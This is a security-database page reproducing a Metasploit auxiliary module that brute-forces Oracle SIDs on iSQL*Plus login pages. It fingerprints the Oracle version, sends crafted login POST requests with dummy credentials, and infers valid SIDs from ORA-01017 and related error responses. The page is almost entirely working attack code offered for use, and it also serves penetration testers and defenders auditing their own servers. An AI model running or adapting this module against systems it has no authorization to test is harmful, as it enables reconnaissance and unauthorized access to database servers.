Lucene search
K

Oracle ISQLPlus SID Check

🗓️ 31 Aug 2024 00:00:00Reported by Tod Beardsley, CG, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 255 Views

Oracle iSQLPlus SID Check module for Oracle application server version detection and SID bruteforce with error responses analysis

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Report  
  
def initialize  
super(  
'Name' => 'Oracle iSQLPlus SID Check',  
'Description' => %q{  
This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus  
login pages. It does this by testing Oracle error responses returned in the HTTP response.  
Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error.  
Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to  
fingerprint the version and automatically select the correct POST request.  
},  
'References' =>  
[  
[ 'URL', 'https://blog.carnal0wnage.com/' ],  
],  
'Author' => [ 'CG', 'todb' ],  
'License' => MSF_LICENSE  
)  
  
register_options([  
Opt::RPORT(5560),  
OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']),  
OptString.new('SID', [ false, 'A single SID to test']),  
OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),  
OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30])  
])  
  
deregister_options(  
"RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE",  
"BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE",  
"BRUTEFORCE_SPEED" # Slow as heck anyway  
)  
  
end  
  
def sid_file  
datastore['SIDFILE']  
end  
  
def hostport  
[target_host,rport].join(":")  
end  
  
def uri  
datastore['URI'] || "/isqlplus/"  
end  
  
def timeout  
(datastore['TIMEOUT'] || 30).to_i  
end  
  
def msg  
msg = "#{hostport} - Oracle iSQL*Plus -"  
end  
  
def run_host(ip)  
oracle_ver = get_oracle_version(ip)  
if not check_oracle_version(oracle_ver)  
print_error "#{msg} Unknown Oracle version, skipping."  
return  
end  
begin  
print_status("#{msg} Starting SID check")  
sid_data.each do |sid|  
guess = check_oracle_sid(ip,oracle_ver,sid)  
return if guess and datastore['STOP_ON_SUCCESS']  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e  
print_error "#{msg} Cannot connect"  
rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET => e  
print_error e.message  
end  
end  
  
def get_oracle_version(ip)  
begin  
res = send_request_cgi({  
'version' => '1.1',  
'uri' => uri,  
'method' => 'GET',  
}, timeout)  
oracle_ver = nil  
if (res.nil?)  
print_error("#{msg} no response")  
elsif (res.code == 200)  
print_status("#{msg} Received an HTTP #{res.code}")  
oracle_ver = detect_oracle_version(res)  
elsif (res.code == 404)  
print_error("#{msg} Received an HTTP 404, check URIPATH")  
elsif (res.code == 302)  
print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")  
else  
print_error("#{msg} Received an HTTP #{res.code}")  
end  
return oracle_ver  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e  
print_error "#{msg} Cannot connect"  
end  
end  
  
def detect_oracle_version(res)  
m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)  
oracle_ver = nil  
oracle_ver = 10 if m[1] && m[1] =~ /10/  
oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/  
if oracle_ver  
print_status("#{msg} Detected Oracle version #{oracle_ver}")  
print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1  
else  
print_error("#{msg} Unknown Oracle version detected.")  
end  
return oracle_ver  
end  
  
def check_oracle_version(ver)  
[9.0,9.1,9.2,10].include? ver  
end  
  
def build_post_request(ver,sid)  
post_request = nil  
case ver  
when 9.0  
post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC"  
when 9.1  
post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"  
when 9.2  
post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"  
when 10  
post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login"  
end  
return post_request  
end  
  
def parse_isqlplus_response(res,sid)  
guess = false  
if (res.nil?)  
print_error("#{msg} No response")  
elsif (res.code == 200)  
if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)  
if sid.nil? || sid.empty?  
print_good("#{msg} Received ORA-01017 on a blank SID -- SIDs are not enforced upon login.")  
else  
print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'")  
end  
guess = true  
elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/)  
vprint_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})")  
elsif res.body =~ /(ORA-12541):/  
print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.")  
guess = true  
else  
print_status("#{msg} Received an unknown error") # Should say what the error was  
end  
elsif (res.code == 404)  
print_status("#{msg} Received an HTTP 404, check URIPATH")  
elsif (res.code == 302)  
print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}")  
else  
print_status("#{msg} Received an unexpected response: #{res.code}")  
end  
  
report_isqlplus_service(target_host,res) if res  
return guess  
end  
  
def report_isqlplus_service(ip,res)  
sname = datastore['SSL'] ? 'https' : 'http'  
report_service(  
:host => ip,  
:proto => 'tcp',  
:port => rport,  
:name => sname,  
:info => res.headers["Server"].to_s.strip  
)  
end  
  
def report_oracle_sid(ip,sid)  
report_note(  
:host => ip,  
:proto => 'tcp',  
:port => rport,  
:type => "oracle.sid",  
:data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),  
:update => :unique_data  
)  
end  
  
def sid_data  
if datastore['SID'] and not datastore['SID'].empty?  
[datastore['SID']]  
elsif sid_file and ::File.readable? sid_file  
::File.open(sid_file,"rb") {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq  
else  
raise ArugmentError, "Cannot read file '#{sid_file}'"  
end  
end  
  
def check_oracle_sid(ip,oracle_ver,sid)  
post_request = build_post_request(oracle_ver,sid)  
vprint_status "#{msg} Trying SID '#{sid}', waiting for response..."  
res = send_request_cgi({  
'version' => '1.1',  
'uri' => uri,  
'method' => 'POST',  
'data' => post_request,  
'headers' =>  
{  
'Referer' => "http://#{ip}:#{rport}#{uri}"  
}  
}, timeout)  
guess = parse_isqlplus_response(res,sid)  
report_oracle_sid(ip,sid) if guess  
return guess  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation